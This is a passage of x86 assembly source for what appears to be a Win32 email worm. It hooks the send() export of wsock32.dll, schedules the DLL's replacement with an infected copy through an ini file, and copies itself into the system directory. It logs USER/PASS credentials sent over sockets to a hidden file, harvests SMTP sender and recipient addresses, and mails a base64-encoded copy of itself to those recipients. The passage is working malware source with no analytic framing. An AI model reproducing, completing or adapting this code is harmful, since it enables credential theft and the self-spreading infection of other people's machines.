mov eax, dword ptr [esi + 20h] ; get ra of table with
|
|||
|
|
|||
|
mov edx, eax
|
|||
|
call RVA_TO_RAW
|
|||
|
mov eax, ecx ; pointers to names
|
|||
|
mov [ebp+addressofnames], eax ; of functions
|
|||
|
|
|||
|
pop esi
|
|||
|
push esi
|
|||
|
|
|||
|
mov eax, dword ptr [esi + 24h] ; get ra of table with
|
|||
|
mov edx, eax
|
|||
|
call RVA_TO_RAW
|
|||
|
mov eax, ecx ; pointers to ordinals
|
|||
|
mov [ebp+addressofordinals], eax ; of functions
|
|||
|
pop esi
|
|||
|
|
|||
|
BeginSendAddressSearch:
|
|||
|
mov esi, [ebp + addressofnames] ; search for
|
|||
|
mov [ebp + AONindex], esi ; API in names
|
|||
|
mov edi, [esi] ; table
|
|||
|
|
|||
|
mov edx, edi
|
|||
|
call RVA_TO_RAW
|
|||
|
mov edi, ecx
|
|||
|
xor ecx, ecx
|
|||
|
|
|||
|
HookSendApi:
|
|||
|
lea ebx, [ebp + ASend]
|
|||
|
|
|||
|
OkTryAgain:
|
|||
|
mov esi, ebx
|
|||
|
|
|||
|
MatchByteNow:
|
|||
|
cmpsb
|
|||
|
jne NextOneNow
|
|||
|
cmp byte ptr [esi], 0 ; did the entire string
|
|||
|
je YesGotIt ; match ?
|
|||
|
jmp MatchByteNow
|
|||
|
|
|||
|
NextOneNow:
|
|||
|
inc cx
|
|||
|
add dword ptr [ebp + AONindex], 4 ; get next namepointer
|
|||
|
mov esi, [ebp + AONindex] ; in table (4 dwords)
|
|||
|
mov edi, [esi]
|
|||
|
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
|
|||
|
mov ebx, [ebp + mapaddress]
|
|||
|
mov edx, edi
|
|||
|
call RVA_TO_RAW
|
|||
|
mov edi, ecx
|
|||
|
|
|||
|
pop ecx
|
|||
|
pop ebx
|
|||
|
jmp OkTryAgain
|
|||
|
|
|||
|
YesGotIt:
|
|||
|
shl ecx, 1
|
|||
|
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
|
|||
|
add esi, ecx ; size of ordinal entry
|
|||
|
xor eax, eax ; + ordinal table base
|
|||
|
mov ax, word ptr [esi] ; offset of address
|
|||
|
shl eax, 2 ; of function = ordinal
|
|||
|
mov esi, [ebp + addressoffunctions] ; * size of entry of
|
|||
|
add esi, eax ; address table
|
|||
|
mov edi, dword ptr [esi] ; get address
|
|||
|
|
|||
|
SaveNewWsockApiAddress:
|
|||
|
mov [ebp + woldapiaddress], edi ; save it
|
|||
|
|
|||
|
ChangeWsock:
|
|||
|
mov eax, dword ptr [ebp + wnewapiaddress] ; new api address
|
|||
|
mov dword ptr [esi], eax ; set it
|
|||
|
ret
|
|||
|
|
|||
|
HOOK_API endp
|
|||
|
|
|||
|
;===========================[ ic-rva_to_raw.inc ]===========================;
|
|||
|
|
|||
|
RVA_TO_RAW proc
|
|||
|
|
|||
|
; In: edx - RVA to convert
|
|||
|
; Out: ecx - Pointer to RAW data or NULL if error
|
|||
|
|
|||
|
GetRaw:
|
|||
|
mov ebx, [ebp + mapaddress]
|
|||
|
mov [ebp + rva2raw], edx
|
|||
|
|
|||
|
mov esi, dword ptr [ebx + 3ch]
|
|||
|
add esi, ebx ; esi=offset peheader
|
|||
|
xor ecx, ecx
|
|||
|
mov cx, word ptr [esi + 06h] ; ecx = nr. of sections
|
|||
|
xor edi, edi
|
|||
|
mov di, word ptr [esi + 20d] ; optional header size
|
|||
|
add esi, 24d ; file header size
|
|||
|
add edi, esi
|
|||
|
|
|||
|
FindCorrespondingSection:
|
|||
|
mov eax, dword ptr [ebp + rva2raw] ; rva we want into raw
|
|||
|
mov edx, dword ptr [edi + 12d] ; section RVA
|
|||
|
sub eax, edx
|
|||
|
cmp eax, dword ptr [edi+08d] ; section size
|
|||
|
jb SectionFound
|
|||
|
|
|||
|
NotThisSection:
|
|||
|
add edi, 40d
|
|||
|
loop FindCorrespondingSection
|
|||
|
|
|||
|
EndRawSearch:
|
|||
|
ret
|
|||
|
|
|||
|
SectionFound:
|
|||
|
mov ecx, dword ptr [edi+20d] ; pntr to section's raw
|
|||
|
sub edx, ecx ; data from beginning
|
|||
|
add ecx, eax ; of file
|
|||
|
add ecx, ebx
|
|||
|
ret
|
|||
|
|
|||
|
RVA_TO_RAW endp
|
|||
|
|
|||
|
;=========================[ ic-create_ini_file.inc ]========================;
|
|||
|
|
|||
|
CREATE_INI_FILE proc
|
|||
|
|
|||
|
IniGetSetWindowsDir:
|
|||
|
call SET_WINDIR
|
|||
|
|
|||
|
CreateInstallIni:
|
|||
|
push 0 ; template handle=0
|
|||
|
push 20h ; attributes=any file
|
|||
|
push 4 ; type= new file
|
|||
|
push 0 ; security option = 0
|
|||
|
push 1 ; shared for read
|
|||
|
push 80000000h or 40000000h ; generic read write
|
|||
|
lea eax, [ebp + inifile]
|
|||
|
push eax ; offset file name
|
|||
|
lea eax, [ebp + ACreateFile]
|
|||
|
call GETAPI
|
|||
|
mov [ebp + filehandle], eax
|
|||
|
|
|||
|
SetIniFilePointerToEnd:
|
|||
|
push 02h
|
|||
|
push 00h
|
|||
|
push 00h
|
|||
|
push [ebp + filehandle]
|
|||
|
lea eax, [ebp + ASetFilePointer]
|
|||
|
call GETAPI
|
|||
|
mov dword ptr [ebp + writtensize], 00h
|
|||
|
|
|||
|
WriteInstallIniLoop:
|
|||
|
lea esi, [ebp + inicrlf]
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
lea esi, [ebp + rename] ; write 'rename'
|
|||
|
mov word ptr [ebp + writtensize], 0Ah
|
|||
|
call Write
|
|||
|
|
|||
|
lea esi, [ebp + sysdir] ; write systemdir
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
lea esi, [ebp + slashsign] ; write slash
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
WriteWsock32Dll:
|
|||
|
lea esi, [ebp + wsock32dll] ; write original dll
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
WriteOn:
|
|||
|
lea esi, [ebp + equalsign] ; write original dll
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
lea esi, [ebp + sysdir] ; write systemdir
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
lea esi, [ebp + slashsign] ; write slash
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
WriteInfectedWsock:
|
|||
|
lea esi, [ebp + wsock32inf] ; write original dll
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
jmp CloseInstallIni
|
|||
|
|
|||
|
StringSize:
|
|||
|
cmp byte ptr [esi + ecx], 0h
|
|||
|
je GotSize
|
|||
|
inc ecx
|
|||
|
jmp StringSize
|
|||
|
|
|||
|
GotSize:
|
|||
|
mov word ptr [ebp + writtensize], cx
|
|||
|
ret
|
|||
|
|
|||
|
Write:
|
|||
|
push 0h
|
|||
|
lea eax, [ebp + writtenbytes]
|
|||
|
push eax
|
|||
|
xor eax, eax
|
|||
|
mov ax, word ptr [ebp + writtensize]
|
|||
|
push eax
|
|||
|
push esi
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + AWriteFile]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
CloseInstallIni:
|
|||
|
lea esi, [ebp + inicrlf] ; write original dll
|
|||
|
xor ecx, ecx
|
|||
|
call StringSize
|
|||
|
call Write
|
|||
|
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ACloseHandle]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
CREATE_INI_FILE endp
|
|||
|
|
|||
|
;=========================[ ic-copy_host_file.inc ]=========================;
|
|||
|
|
|||
|
COPY_HOST_FILE proc
|
|||
|
|
|||
|
GetCurrentHostPath:
|
|||
|
push 100h
|
|||
|
lea eax, [ebp + currentdir]
|
|||
|
push eax
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGetModuleFileName]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
SetSysDirectory:
|
|||
|
call SET_SYSDIR
|
|||
|
|
|||
|
CopyWormHostFile:
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + wsock2]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + currentdir]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ACopyFile]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
COPY_HOST_FILE endp
|
|||
|
|
|||
|
;=========================[ ic-ws_intercept.inc ]===========================;
|
|||
|
|
|||
|
INTERCEPT_WSOCK proc
|
|||
|
|
|||
|
InterceptWsockApiCall:
|
|||
|
push ebp
|
|||
|
call GetDelta
|
|||
|
|
|||
|
GetDelta:
|
|||
|
pop ebp
|
|||
|
sub ebp, offset GetDelta
|
|||
|
pushad
|
|||
|
|
|||
|
CheckStatus:
|
|||
|
mov eax, [esp+(8*4)+(1*4)+4 + 0] ; get send() socket
|
|||
|
mov [ebp + socketh], eax ; save it
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
|
|||
|
|
|||
|
pushad
|
|||
|
call GET_GETPROCADDRESS_API_ADDRESS
|
|||
|
popad
|
|||
|
|
|||
|
CheckForSecurityInfo:
|
|||
|
cmp [esi], 'RESU'
|
|||
|
je StoreBufferData
|
|||
|
cmp [esi], 'SSAP'
|
|||
|
jne DontStore
|
|||
|
|
|||
|
StoreBufferData:
|
|||
|
pushad
|
|||
|
call WRITE_TO_FILE
|
|||
|
popad
|
|||
|
|
|||
|
DontStore:
|
|||
|
cmp [ebp + status], 00h ; monitoring==true ?
|
|||
|
je CheckMailFrom ; yes, we are
|
|||
|
cmp [ebp + status], 02h
|
|||
|
je CheckRcptTo
|
|||
|
cmp [ebp + status], 03h
|
|||
|
je CheckMimeFrom
|
|||
|
cmp [ebp + status], 05h
|
|||
|
je CheckQuit
|
|||
|
jmp Continue
|
|||
|
|
|||
|
CheckMailFrom:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
|
|||
|
cmp [esi], 'LIAM'
|
|||
|
jne Continue
|
|||
|
|
|||
|
StoreMailFromTag:
|
|||
|
pushad
|
|||
|
call WRITE_TO_FILE
|
|||
|
popad
|
|||
|
|
|||
|
SaveMailFrom:
|
|||
|
mov [ebp + fromsize], ecx
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
|
|||
|
push ecx
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz ErrorWhileSending
|
|||
|
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
mov [ebp + fromaddress], eax
|
|||
|
mov edi, eax
|
|||
|
rep movsb
|
|||
|
mov [ebp + status], 02h
|
|||
|
|
|||
|
CheckRcptTo:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
|
|||
|
cmp [esi], 'TPCR'
|
|||
|
jne CheckData
|
|||
|
|
|||
|
AllocateRcptMemory:
|
|||
|
cmp [ebp + rcptnumber], 00h
|
|||
|
jne SaveRcptTo
|
|||
|
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
|
|||
|
push 500h
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
or eax, eax
|
|||
|
jz ErrorWhileSending ; mem for rctp email
|
|||
|
mov [ebp + rcpt_buffer_address], eax ; addresses
|
|||
|
|
|||
|
push 100h
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
or eax, eax
|
|||
|
jz ErrorWhileSending ; mem for size of rctp
|
|||
|
mov [ebp + rcpt_size_address], eax ; email addresses
|
|||
|
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
|
|||
|
SaveRcptTo:
|
|||
|
push ecx ; store rcpt string
|
|||
|
mov edi, [ebp + rcpt_buffer_address]
|
|||
|
mov eax, [ebp + totalrcptsize]
|
|||
|
add edi, eax
|
|||
|
rep movsb
|
|||
|
pop ecx
|
|||
|
|
|||
|
mov edi, [ebp + rcpt_size_address] ; store rcpt string size
|
|||
|
mov eax, [ebp + rcptnumber]
|
|||
|
mov edx, 04h
|
|||
|
mul edx
|
|||
|
add edi, eax
|
|||
|
mov dword ptr [edi], ecx
|
|||
|
|
|||
|
mov eax, [ebp + totalrcptsize] ; calculate total size
|
|||
|
add eax, ecx ; of rcpts
|
|||
|
mov [ebp + totalrcptsize], eax
|
|||
|
|
|||
|
mov eax, [ebp + rcptnumber] ; calculate number of
|
|||
|
add eax, 01h ; rcpt we have
|
|||
|
mov [ebp + rcptnumber], eax
|
|||
|
jmp Continue
|
|||
|
|
|||
|
CheckData:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
|
|||
|
cmp [esi], 'ATAD'
|
|||
|
jne Continue
|
|||
|
mov [ebp + status], 03h
|
|||
|
|
|||
|
CheckMimeFrom:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
|
|||
|
|
|||
|
MimeFromLoop:
|
|||
|
lea edi, [ebp + fromtag]
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
mov ecx, 05h
|
|||
|
rep cmpsb
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
je SearchMimeFromEnd
|
|||
|
inc esi
|
|||
|
loop MimeFromLoop
|
|||
|
|
|||
|
CheckMimeTo:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4]
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8]
|
|||
|
|
|||
|
MimeToLoop:
|
|||
|
lea edi, [ebp + totag]
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
mov ecx, 03h
|
|||
|
rep cmpsb
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
je SearchMimeToEnd
|
|||
|
inc esi
|
|||
|
loop MimeToLoop
|
|||
|
jmp CheckQuit
|
|||
|
|
|||
|
SearchMimeFromEnd:
|
|||
|
push esi
|
|||
|
|
|||
|
FromEndLoop:
|
|||
|
lea edi, [ebp + mimeendtag]
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
mov ecx, 01h
|
|||
|
rep cmpsb
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
je SaveMimeFrom
|
|||
|
inc esi
|
|||
|
loop FromEndLoop
|
|||
|
|
|||
|
pop esi
|
|||
|
jmp Continue
|
|||
|
|
|||
|
SaveMimeFrom:
|
|||
|
mov eax, esi
|
|||
|
pop esi
|
|||
|
sub eax, esi
|
|||
|
mov ecx, eax
|
|||
|
add ecx, 03h
|
|||
|
mov [ebp + mimefromsize], ecx
|
|||
|
push esi
|
|||
|
push ecx
|
|||
|
|
|||
|
push ecx
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
or eax, eax
|
|||
|
jz MimeError
|
|||
|
mov [ebp + mimefrom_address], eax
|
|||
|
|
|||
|
pop ecx
|
|||
|
pop esi
|
|||
|
mov edi, eax
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov [ebp + fromstatus], 01h
|
|||
|
cmp [ebp + tostatus], 01h
|
|||
|
jne CheckMimeTo
|
|||
|
mov [ebp + status], 05h
|
|||
|
jmp CheckQuit
|
|||
|
|
|||
|
SearchMimeToEnd:
|
|||
|
push esi
|
|||
|
|
|||
|
ToEndLoop:
|
|||
|
lea edi, [ebp + toendtag]
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
mov ecx, 08h
|
|||
|
rep cmpsb
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
je SaveMimeTo
|
|||
|
inc esi
|
|||
|
loop ToEndLoop
|
|||
|
|
|||
|
pop esi
|
|||
|
jmp Continue
|
|||
|
|
|||
|
SaveMimeTo:
|
|||
|
mov eax, esi
|
|||
|
pop esi
|
|||
|
sub eax, esi
|
|||
|
mov ecx, eax
|
|||
|
mov [ebp + mimetosize], ecx
|
|||
|
push esi
|
|||
|
push ecx
|
|||
|
|
|||
|
push ecx
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
or eax, eax
|
|||
|
jz MimeError
|
|||
|
mov [ebp + mimeto_address], eax
|
|||
|
|
|||
|
pop ecx
|
|||
|
pop esi
|
|||
|
mov edi, eax
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov [ebp + tostatus], 01h
|
|||
|
cmp [ebp + fromstatus], 01h
|
|||
|
jne CheckMimeFrom
|
|||
|
mov [ebp + status], 05h
|
|||
|
jmp CheckQuit
|
|||
|
|
|||
|
MimeError:
|
|||
|
pop ecx
|
|||
|
pop esi
|
|||
|
mov [ebp + status], 05h
|
|||
|
|
|||
|
CheckQuit:
|
|||
|
mov esi, [esp+(8*4)+(1*4)+4 + 4]
|
|||
|
mov ecx, [esp+(8*4)+(1*4)+4 + 8]
|
|||
|
cmp [esi], 'TIUQ'
|
|||
|
jne Continue
|
|||
|
|
|||
|
pushad
|
|||
|
call SEND_MAIL
|
|||
|
popad
|
|||
|
|
|||
|
jmp InterceptionFinished
|
|||
|
|
|||
|
ErrorWhileSending:
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
|
|||
|
InterceptionFinished:
|
|||
|
mov [ebp + status], 00h
|
|||
|
mov [ebp + totalrcptsize], 00h
|
|||
|
mov [ebp + rcptnumber], 00h
|
|||
|
mov [ebp + tostatus], 00h
|
|||
|
mov [ebp + fromstatus], 00h
|
|||
|
jmp Continue
|
|||
|
|
|||
|
Continue:
|
|||
|
popad
|
|||
|
lea eax, [ebp + InterceptWsockApiCall] ; get ep va
|
|||
|
sub eax, dword ptr [ebp + wnewapiaddress] ; - ep RVA
|
|||
|
add eax, dword ptr [ebp + woldapiaddress] ; = imagebase
|
|||
|
pop ebp
|
|||
|
jmp eax
|
|||
|
|
|||
|
INTERCEPT_WSOCK endp
|
|||
|
|
|||
|
;========================[ ic-ws_attachment.inc ]===========================;
|
|||
|
|
|||
|
PREPARE_ATTACHMENT proc
|
|||
|
|
|||
|
SetSysDir:
|
|||
|
call SET_SYSDIR
|
|||
|
|
|||
|
OpenSourceFile:
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 3
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 80000000h
|
|||
|
lea eax, [ebp + wsock2]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ACreateFile]
|
|||
|
call GETAPI
|
|||
|
mov [ebp + filehandle], eax ; save file handle
|
|||
|
cmp eax, -1
|
|||
|
je NoBase64Encode
|
|||
|
|
|||
|
GetSourceFileSize:
|
|||
|
push 00h
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + AGetFileSize]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz NoBase64Encode
|
|||
|
mov [ebp + filesize], eax ; get file size
|
|||
|
|
|||
|
AllocateSourceMemory:
|
|||
|
add eax, 02h
|
|||
|
push eax
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz NoBase64Encode ; not enough memory?
|
|||
|
mov [ebp + smHnd], eax ; sourcememory handle
|
|||
|
|
|||
|
AllocateDestinationMemory:
|
|||
|
mov eax, [ebp + filesize]
|
|||
|
xor edx, edx
|
|||
|
mov ecx, 02h
|
|||
|
mul ecx
|
|||
|
push eax
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz NoBase64Encode ; not enough memory?
|
|||
|
mov [ebp + dmHnd], eax ; destinationmemory handle
|
|||
|
|
|||
|
ReadSourceFile:
|
|||
|
mov [ebp + bytesread], 00h
|
|||
|
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + bytesread]
|
|||
|
push eax
|
|||
|
push [ebp + filesize]
|
|||
|
push dword ptr [ebp + smHnd]
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + AReadFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
mov eax, dword ptr [ebp + bytesread]
|
|||
|
or eax, eax
|
|||
|
jz NoBase64Encode ; nothing read ?
|
|||
|
|
|||
|
CloseSourceFile:
|
|||
|
push dword ptr [ebp + filehandle] ; close the file
|
|||
|
lea eax, [ebp + ACloseHandle]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
EncodeSourceData:
|
|||
|
mov eax, dword ptr [ebp + smHnd]
|
|||
|
mov edx, dword ptr [ebp + dmHnd]
|
|||
|
mov ecx, dword ptr [ebp + filesize]
|
|||
|
call BASE64_ENCODER ; encode into Base64
|
|||
|
mov [ebp + encodedsize], ecx
|
|||
|
|
|||
|
NoBase64Encode:
|
|||
|
ret
|
|||
|
|
|||
|
PREPARE_ATTACHMENT endp
|
|||
|
|
|||
|
;=========================[ ic-ws_b64encoder.inc ]==========================;
|
|||
|
|
|||
|
BASE64_ENCODER proc
|
|||
|
|
|||
|
; in: eax address of data to encode
|
|||
|
; edx address to put encoded data
|
|||
|
; ecx size of data to encode
|
|||
|
;
|
|||
|
; out: ecx size of encoded data
|
|||
|
;
|
|||
|
|
|||
|
CheckFileSize:
|
|||
|
push eax
|
|||
|
push edx
|
|||
|
push ecx
|
|||
|
mov eax, ecx
|
|||
|
xor edx, edx
|
|||
|
mov ecx, 03h
|
|||
|
div ecx
|
|||
|
pop ecx
|
|||
|
or edx, edx
|
|||
|
jz EncodeBase64
|
|||
|
|
|||
|
AddTwoBytes:
|
|||
|
cmp edx, 01h
|
|||
|
jne AddOneByte
|
|||
|
add ecx, 02h
|
|||
|
jmp EncodeBase64
|
|||
|
|
|||
|
AddOneByte:
|
|||
|
add ecx, 01h
|
|||
|
|
|||
|
EncodeBase64:
|
|||
|
pop edx
|
|||
|
pop eax
|
|||
|
xor esi, esi
|
|||
|
lea edi, [ebp + encTable]
|
|||
|
push ebp
|
|||
|
xor ebp, ebp
|
|||
|
|
|||
|
BaseLoop:
|
|||
|
xor ebx, ebx
|
|||
|
mov bl, byte ptr [eax]
|
|||
|
shr bl, 2
|
|||
|
and bl, 00111111b
|
|||
|
mov bh, byte ptr [edi+ebx]
|
|||
|
mov byte ptr [edx+esi], bh
|
|||
|
inc esi
|
|||
|
|
|||
|
mov bx, word ptr [eax]
|
|||
|
xchg bl, bh
|
|||
|
shr bx, 4
|
|||
|
xor bh, bh
|
|||
|
and bl, 00111111b
|
|||
|
mov bh, byte ptr [edi+ebx]
|
|||
|
mov byte ptr [edx+esi], bh
|
|||
|
inc esi
|
|||
|
|
|||
|
inc eax
|
|||
|
mov bx,word ptr [eax]
|
|||
|
xchg bl, bh
|
|||
|
shr bx, 6
|
|||
|
xor bh, bh
|
|||
|
and bl, 00111111b
|
|||
|
mov bh, byte ptr [edi+ebx]
|
|||
|
mov byte ptr [edx+esi], bh
|
|||
|
inc esi
|
|||
|
|
|||
|
inc eax
|
|||
|
xor ebx, ebx
|
|||
|
mov bl, byte ptr [eax]
|
|||
|
and bl, 00111111b
|
|||
|
mov bh, byte ptr [edi+ebx]
|
|||
|
mov byte ptr [edx+esi], bh
|
|||
|
inc esi
|
|||
|
inc eax
|
|||
|
|
|||
|
inc ebp
|
|||
|
cmp ebp, 24
|
|||
|
ja AddEndOfLine
|
|||
|
inc ebp
|
|||
|
|
|||
|
AddedEndOfLine:
|
|||
|
sub ecx, 3
|
|||
|
or ecx, ecx
|
|||
|
jnz BaseLoop
|
|||
|
|
|||
|
mov word ptr [edx+esi], 0a0dh
|
|||
|
add esi, 2
|
|||
|
mov ecx, esi
|
|||
|
pop ebp
|
|||
|
ret
|
|||
|
|
|||
|
AddEndOfLine:
|
|||
|
xor ebp, ebp
|
|||
|
mov word ptr [edx+esi], 0a0dh
|
|||
|
add esi, 2
|
|||
|
jmp AddedEndOfLine
|
|||
|
|
|||
|
BASE64_ENCODER endp
|
|||
|
|
|||
|
;=======================[ ic-ws_write_to_file.inc ]=========================;
|
|||
|
|
|||
|
WRITE_TO_FILE proc
|
|||
|
|
|||
|
StoreBuffer:
|
|||
|
push esi
|
|||
|
push ecx
|
|||
|
|
|||
|
SetEmailDropDir:
|
|||
|
call SET_WINDIR
|
|||
|
|
|||
|
CreateEmailDrop:
|
|||
|
push 0 ; template handle=0
|
|||
|
push 20h ; attributes=any file
|
|||
|
push 04h ; type= existing file
|
|||
|
push 0 ; security option = 0
|
|||
|
push 1 ; shared for read
|
|||
|
push 80000000h or 40000000h ; generic read write
|
|||
|
lea eax, [ebp + passwordfile]
|
|||
|
push eax ; offset file name
|
|||
|
lea eax, [ebp + ACreateFile]
|
|||
|
call GETAPI
|
|||
|
mov [ebp + filehandle], eax ; save file handle
|
|||
|
cmp eax, -1
|
|||
|
je BufferError
|
|||
|
|
|||
|
SetDropPointer:
|
|||
|
push 2
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push dword ptr [ebp + filehandle] ; filehandle
|
|||
|
lea eax, [ebp + ASetFilePointer]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
pop ecx
|
|||
|
pop esi
|
|||
|
|
|||
|
WriteBuffer:
|
|||
|
push 0h
|
|||
|
lea eax, [ebp + writtenbytes]
|
|||
|
push eax
|
|||
|
push ecx ; push buffersize
|
|||
|
push esi ; push offset buffer
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + AWriteFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
CloseBufferFile:
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ACloseHandle]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
BufferError:
|
|||
|
pop ecx
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
|
|||
|
WRITE_TO_FILE endp
|
|||
|
|
|||
|
;============================[ ic-send_mail.inc ]============================;
|
|||
|
|
|||
|
SEND_MAIL proc
|
|||
|
|
|||
|
GetAllApiAddresses:
|
|||
|
call GET_WSOCK32_BASE_ADDRESS
|
|||
|
call GET_USER32_BASE_ADDRESS
|
|||
|
call PREPARE_ATTACHMENT
|
|||
|
|
|||
|
mov eax, [ebp + filehandle]
|
|||
|
cmp eax, -1 ; attachment error
|
|||
|
je SendError
|
|||
|
|
|||
|
AllocateEmailBufferMemory:
|
|||
|
mov eax, [ebp + encodedsize]
|
|||
|
mov ecx, 02h
|
|||
|
mul ecx
|
|||
|
push eax
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AGlobalAlloc]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz SendError ; mem for email
|
|||
|
mov [ebp + email_buffer_address], eax ; buffer
|
|||
|
|
|||
|
SendMailFromTag:
|
|||
|
mov eax, dword ptr [ebp + fromaddress]
|
|||
|
mov ecx, dword ptr [ebp + fromsize]
|
|||
|
call SendCommand
|
|||
|
call ReceiveReply
|
|||
|
|
|||
|
SendRcptToTags:
|
|||
|
xor ecx, ecx
|
|||
|
mov [ebp + totalrcptsize], 00h
|
|||
|
|
|||
|
RcptSendLoop:
|
|||
|
push ecx
|
|||
|
|
|||
|
mov edi, [ebp + rcpt_size_address]
|
|||
|
mov eax, ecx
|
|||
|
mov edx, 04h
|
|||
|
mul edx
|
|||
|
add edi, eax
|
|||
|
mov ecx, dword ptr [edi]
|
|||
|
|
|||
|
mov esi, [ebp + rcpt_buffer_address]
|
|||
|
mov eax, [ebp + totalrcptsize]
|
|||
|
add esi, eax
|
|||
|
|
|||
|
pushad
|
|||
|
mov eax, esi
|
|||
|
call SendCommand
|
|||
|
call ReceiveReply
|
|||
|
popad
|
|||
|
|
|||
|
add eax, ecx
|
|||
|
mov [ebp + totalrcptsize], eax
|
|||
|
|
|||
|
pop ecx
|
|||
|
inc ecx
|
|||
|
mov eax, [ebp + rcptnumber]
|
|||
|
cmp ecx, eax
|
|||
|
jne RcptSendLoop
|
|||
|
|
|||
|
SendDataCommand:
|
|||
|
lea eax, [ebp + datatag]
|
|||
|
mov ecx, 06h
|
|||
|
call SendCommand
|
|||
|
call ReceiveReply
|
|||
|
|
|||
|
EmailBody_EmailId:
|
|||
|
mov [ebp + email_size], 00h
|
|||
|
mov edi, [ebp + email_buffer_address]
|
|||
|
lea esi, [ebp + emailid]
|
|||
|
mov ecx, 21d
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
EmailBody_EmailFrom:
|
|||
|
cmp [ebp + fromstatus], 01h
|
|||
|
jne EmailBody_MakeEmailFrom
|
|||
|
|
|||
|
mov esi, [ebp + mimefrom_address]
|
|||
|
mov ecx, [ebp + mimefromsize]
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
